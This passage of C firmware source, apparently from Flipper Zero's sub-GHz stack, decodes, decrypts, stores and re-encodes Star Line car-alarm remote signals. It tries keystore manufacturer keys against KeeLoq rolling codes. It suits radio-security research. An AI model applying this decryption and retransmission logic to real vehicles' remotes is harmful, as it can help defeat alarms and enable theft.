LevelDuration subghz_protocol_encoder_star_line_yield(void* context) {
SubGhzProtocolEncoderStarLine* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_star_line_alloc(SubGhzEnvironment* environment) {
SubGhzProtocolDecoderStarLine* instance = malloc(sizeof(SubGhzProtocolDecoderStarLine));
instance->base.protocol = &subghz_protocol_star_line;
instance->generic.protocol_name = instance->base.protocol->name;
instance->manufacture_from_file = furi_string_alloc();
instance->keystore = subghz_environment_get_keystore(environment);
return instance;
}
void subghz_protocol_decoder_star_line_free(void* context) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
furi_string_free(instance->manufacture_from_file);
free(instance);
}
void subghz_protocol_decoder_star_line_reset(void* context) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
instance->decoder.parser_step = StarLineDecoderStepReset;
subghz_keystore_reset_kl(instance->keystore);
}
void subghz_protocol_decoder_star_line_feed(void* context, bool level, uint32_t duration) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
switch(instance->decoder.parser_step) {
case StarLineDecoderStepReset:
if(level) {
if(DURATION_DIFF(duration, subghz_protocol_star_line_const.te_long * 2) <
subghz_protocol_star_line_const.te_delta * 2) {
instance->decoder.parser_step = StarLineDecoderStepCheckPreambula;
instance->header_count++;
} else if(instance->header_count > 4) {
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.te_last = duration;
instance->decoder.parser_step = StarLineDecoderStepCheckDuration;
}
} else {
instance->header_count = 0;
}
break;
case StarLineDecoderStepCheckPreambula:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_star_line_const.te_long * 2) <
subghz_protocol_star_line_const.te_delta * 2)) {
instance->decoder.parser_step = StarLineDecoderStepReset;
} else {
instance->header_count = 0;
instance->decoder.parser_step = StarLineDecoderStepReset;
}
break;
case StarLineDecoderStepSaveDuration:
if(level) {
if(duration >= (subghz_protocol_star_line_const.te_long +
subghz_protocol_star_line_const.te_delta)) {
instance->decoder.parser_step = StarLineDecoderStepReset;
if((instance->decoder.decode_count_bit >=
subghz_protocol_star_line_const.min_count_bit_for_found) &&
(instance->decoder.decode_count_bit <=
subghz_protocol_star_line_const.min_count_bit_for_found + 2)) {
if(instance->generic.data != instance->decoder.decode_data) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit =
subghz_protocol_star_line_const.min_count_bit_for_found;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->header_count = 0;
break;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = StarLineDecoderStepCheckDuration;
}
} else {
instance->decoder.parser_step = StarLineDecoderStepReset;
}
break;
case StarLineDecoderStepCheckDuration:
if(!level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_star_line_const.te_short) <
subghz_protocol_star_line_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_star_line_const.te_short) <
subghz_protocol_star_line_const.te_delta)) {
if(instance->decoder.decode_count_bit <
subghz_protocol_star_line_const.min_count_bit_for_found) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
} else {
instance->decoder.decode_count_bit++;
}
instance->decoder.parser_step = StarLineDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_star_line_const.te_long) <
subghz_protocol_star_line_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_star_line_const.te_long) <
subghz_protocol_star_line_const.te_delta)) {
if(instance->decoder.decode_count_bit <
subghz_protocol_star_line_const.min_count_bit_for_found) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
} else {
instance->decoder.decode_count_bit++;
}
instance->decoder.parser_step = StarLineDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = StarLineDecoderStepReset;
}
} else {
instance->decoder.parser_step = StarLineDecoderStepReset;
}
break;
}
}
static inline bool subghz_protocol_star_line_check_decrypt(
SubGhzBlockGeneric* instance,
uint32_t decrypt,
uint8_t btn,
uint32_t end_serial) {
furi_check(instance);
if((decrypt >> 24 == btn) && ((((uint16_t)(decrypt >> 16)) & 0x00FF) == end_serial)) {
instance->cnt = decrypt & 0x0000FFFF;
return true;
}
return false;
}
static uint8_t subghz_protocol_star_line_check_remote_controller_selector(
SubGhzBlockGeneric* instance,
uint32_t fix,
uint32_t hop,
SubGhzKeystore* keystore,
const char** manufacture_name) {
uint16_t end_serial = (uint16_t)(fix & 0xFF);
uint8_t btn = (uint8_t)(fix >> 24);
uint32_t decrypt = 0;
uint64_t man_normal_learning;
bool mf_not_set = false;
if(keystore->mfname == NULL) {
subghz_keystore_reset_kl(keystore);
}
const char* mfname = keystore->mfname;
if(strcmp(mfname, "Unknown") == 0) {
return 1;
} else if(strcmp(mfname, "") == 0) {
mf_not_set = true;
}
for
M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) {
if(mf_not_set || (strcmp(furi_string_get_cstr(manufacture_code->name), mfname) == 0)) {
switch(manufacture_code->type) {
case KEELOQ_LEARNING_SIMPLE:
decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
if(subghz_protocol_star_line_check_decrypt(
instance, decrypt, btn, end_serial)) {
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
keystore->mfname = *manufacture_name;
return 1;
}
break;
case KEELOQ_LEARNING_NORMAL:
man_normal_learning =
subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key);
decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning);
if(subghz_protocol_star_line_check_decrypt(
instance, decrypt, btn, end_serial)) {
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
keystore->mfname = *manufacture_name;
return 1;
}
break;
case KEELOQ_LEARNING_UNKNOWN:
decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key);
if(subghz_protocol_star_line_check_decrypt(
instance, decrypt, btn, end_serial)) {
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
keystore->mfname = *manufacture_name;
keystore->kl_type = 1;
return 1;
}
uint64_t man_rev = 0;
uint64_t man_rev_byte = 0;
for(uint8_t i = 0; i < 64; i += 8) {
man_rev_byte = (uint8_t)(manufacture_code->key >> i);
man_rev = man_rev | man_rev_byte << (56 - i);
}
decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev);
if(subghz_protocol_star_line_check_decrypt(
instance, decrypt, btn, end_serial)) {
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
keystore->mfname = *manufacture_name;
keystore->kl_type = 1;
return 1;
}
man_normal_learning =
subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key);
decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning);
if(subghz_protocol_star_line_check_decrypt(
instance, decrypt, btn, end_serial)) {
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
keystore->mfname = *manufacture_name;
keystore->kl_type = 2;
return 1;
}
man_normal_learning =
subghz_protocol_keeloq_common_normal_learning(fix, man_rev);
decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning);
if(subghz_protocol_star_line_check_decrypt(
instance, decrypt, btn, end_serial)) {
*manufacture_name = furi_string_get_cstr(manufacture_code->name);
keystore->mfname = *manufacture_name;
keystore->kl_type = 2;
return 1;
}
break;
}
}
}
*manufacture_name = "Unknown";
keystore->mfname = "Unknown";
instance->cnt = 0;
return 0;
}
static void subghz_protocol_star_line_check_remote_controller(
SubGhzBlockGeneric* instance,
SubGhzKeystore* keystore,
const char** manufacture_name) {
uint64_t key = subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
uint32_t key_fix = key >> 32;
uint32_t key_hop = key & 0x00000000ffffffff;
subghz_protocol_star_line_check_remote_controller_selector(
instance, key_fix, key_hop, keystore, manufacture_name);
instance->serial = key_fix & 0x00FFFFFF;
instance->btn = key_fix >> 24;
}
uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_star_line_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
subghz_protocol_star_line_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
if(!flipper_format_write_header_cstr(
flipper_format, "Flipper SubGhz Key File", 1)) {
break;
}
if(preset != NULL) {
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Frequency", &preset->frequency, 1)) {
break;
}
FuriString* preset_str = furi_string_alloc();
subghz_block_generic_get_preset_name(
furi_string_get_cstr(preset->name), preset_str);
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Preset", furi_string_get_cstr(preset_str))) {
furi_string_free(preset_str);
break;
}
furi_string_free(preset_str);
}
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Protocol", instance->generic.protocol_name)) {
break;
}
uint32_t bits = instance->generic.data_count_bit;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Bit", &bits, 1)) {
break;
}
char key_str[20];
snprintf(key_str, sizeof(key_str), "%016llX", instance->generic.data);
if(!flipper_format_insert_or_update_string_cstr(flipper_format, "Key", key_str)) {
break;
}
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Serial", &instance->generic.serial, 1)) {
break;
}
uint32_t temp = instance->generic.btn;
if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp, 1)) {
break;
}
if(!flipper_format_insert_or_update_uint32(
flipper_format, "Cnt", &instance->generic.cnt, 1)) {
break;
}
if(!flipper_format_insert_or_update_string_cstr(
flipper_format, "Manufacture", instance->manufacture_name)) {
break;
}
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
SubGhzProtocolStatus
subghz_protocol_decoder_star_line_deserialize(void* context, FlipperFormat* flipper_format) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
flipper_format_rewind(flipper_format);
do {
FuriString* temp_str = furi_string_alloc();
if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
FURI_LOG_E(TAG, "Missing Protocol");
furi_string_free(temp_str);
break;
}
if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
FURI_LOG_E(
TAG,
"Wrong protocol %s != %s",
furi_string_get_cstr(temp_str),
instance->base.protocol->name);
furi_string_free(temp_str);
break;
}
furi_string_free(temp_str);
uint32_t bit_count_temp;
if(!flipper_format_read_uint32(flipper_format, "Bit", &bit_count_temp, 1)) {
FURI_LOG_E(TAG, "Missing Bit");
break;
}
instance->generic.data_count_bit = subghz_protocol_star_line_const.min_count_bit_for_found;
temp_str = furi_string_alloc();
if(!flipper_format_read_string(flipper_format, "Key", temp_str)) {
FURI_LOG_E(TAG, "Missing Key");
furi_string_free(temp_str);
break;
}
const char* key_str = furi_string_get_cstr(temp_str);
uint64_t key = 0;
size_t str_len = strlen(key_str);
size_t hex_pos = 0;
for(size_t i = 0; i < str_len && hex_pos < 16; i++) {
char c = key_str[i];
if(c == ' ') continue;
uint8_t nibble;
if(c >= '0' && c <= '9') {
nibble = c - '0';
} else if(c >= 'A' && c <= 'F') {
nibble = c - 'A' + 10;
} else if(c >= 'a' && c <= 'f') {
nibble = c - 'a' + 10;
} else {
FURI_LOG_E(TAG, "Invalid hex character: %c", c);
furi_string_free(temp_str);
break;
}
key = (key << 4) | nibble;
hex_pos++;
}
furi_string_free(temp_str);
if(hex_pos != 16) {
FURI_LOG_E(TAG, "Invalid key length: %zu nibbles (expected 16)", hex_pos);
break;
}
instance->generic.data = key;
FURI_LOG_I(TAG, "Parsed key: 0x%016llX", instance->generic.data);
if(instance->generic.data == 0) {
FURI_LOG_E(TAG, "Key is zero after parsing!");
break;
}
if(!flipper_format_read_uint32(flipper_format, "Serial", &instance->generic.serial, 1)) {
instance->generic.serial = instance->generic.data >> 24;
FURI_LOG_I(TAG, "Extracted serial: 0x%08lX", instance->generic.serial);
} else {
FURI_LOG_I(TAG, "Read serial: 0x%08lX", instance->generic.serial);
}
uint32_t btn_temp;
if(flipper_format_read_uint32(flipper_format, "Btn", &btn_temp, 1)) {
instance->generic.btn = (uint8_t)btn_temp;
FURI_LOG_I(TAG, "Read button: 0x%02X", instance->generic.btn);
} else {
instance->generic.btn = (instance->generic.data >> 16) & 0xFF;
FURI_LOG_I(TAG, "Extracted button: 0x%02X", instance->generic.btn);
}
uint32_t cnt_temp;
if(flipper_format_read_uint32(flipper_format, "Cnt", &cnt_temp, 1)) {
instance->generic.cnt = (uint16_t)cnt_temp;
FURI_LOG_I(TAG, "Read counter: 0x%03lX", (unsigned long)instance->generic.cnt);
}
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
if(flipper_format_read_string(
flipper_format, "Manufacture", instance->manufacture_from_file)) {
instance->manufacture_name = furi_string_get_cstr(instance->manufacture_from_file);
instance->keystore->mfname = instance->manufacture_name;
} else {
FURI_LOG_D(TAG, "DECODER: Missing Manufacture");
}
FURI_LOG_I(TAG, "Decoder deserialized");
ret = SubGhzProtocolStatusOk;
} while(false);
return ret;
}
void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output) {
furi_check(context);
SubGhzProtocolDecoderStarLine* instance = context;
subghz_protocol_star_line_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
subghz_custom_btn_set_original(star_line_btn_to_custom(instance->generic.btn));
subghz_custom_btn_set_max(4);
uint32_t code_found_hi = instance->generic.data >> 32;
uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff;
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
instance->generic.data, instance->generic.data_count_bit);
uint32_t code_found_reverse_hi = code_found_reverse >> 32;
uint32_t code_found_reverse_lo = code_found_reverse & 0x00000000ffffffff;
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:%08lX%08lX\r\n"
"Fix:0x%08lX Cnt:%04lX\r\n"
"Hop:0x%08lX Btn:[%s]\r\n"
"MF:%s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
code_found_hi,
code_found_lo,
code_found_reverse_hi,
instance->generic.cnt,
code_found_reverse_lo,
star_line_btn_name(star_line_get_btn_code(instance->generic.btn)),
instance->manufacture_name);
}

View File

@@ -0,0 +1,47 @@
#pragma once
#include <furi.h>
#include <lib/subghz/protocols/base.h>
#include <lib/subghz/types.h>
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/toolbox/manchester_decoder.h>
#include <flipper_format/flipper_format.h>
#define SUBGHZ_PROTOCOL_STAR_LINE_NAME "Star Line"
typedef struct SubGhzProtocolDecoderStarLine SubGhzProtocolDecoderStarLine;
typedef struct SubGhzProtocolEncoderStarLine SubGhzProtocolEncoderStarLine;
extern const SubGhzProtocolDecoder subghz_protocol_star_line_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_star_line_encoder;
extern const SubGhzProtocol subghz_protocol_star_line;
void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment);
void subghz_protocol_encoder_star_line_free(void* context);
SubGhzProtocolStatus
subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_encoder_star_line_stop(void* context);
LevelDuration subghz_protocol_encoder_star_line_yield(void* context);
void* subghz_protocol_decoder_star_line_alloc(SubGhzEnvironment* environment);
void subghz_protocol_decoder_star_line_free(void* context);
void subghz_protocol_decoder_star_line_reset(void* context);
void subghz_protocol_decoder_star_line_feed(void* context, bool level, uint32_t duration);
uint8_t subghz_protocol_decoder_star_line_get_hash_data(void* context);
SubGhzProtocolStatus subghz_protocol_decoder_star_line_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
SubGhzProtocolStatus
subghz_protocol_decoder_star_line_deserialize(void* context, FlipperFormat* flipper_format);
void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output);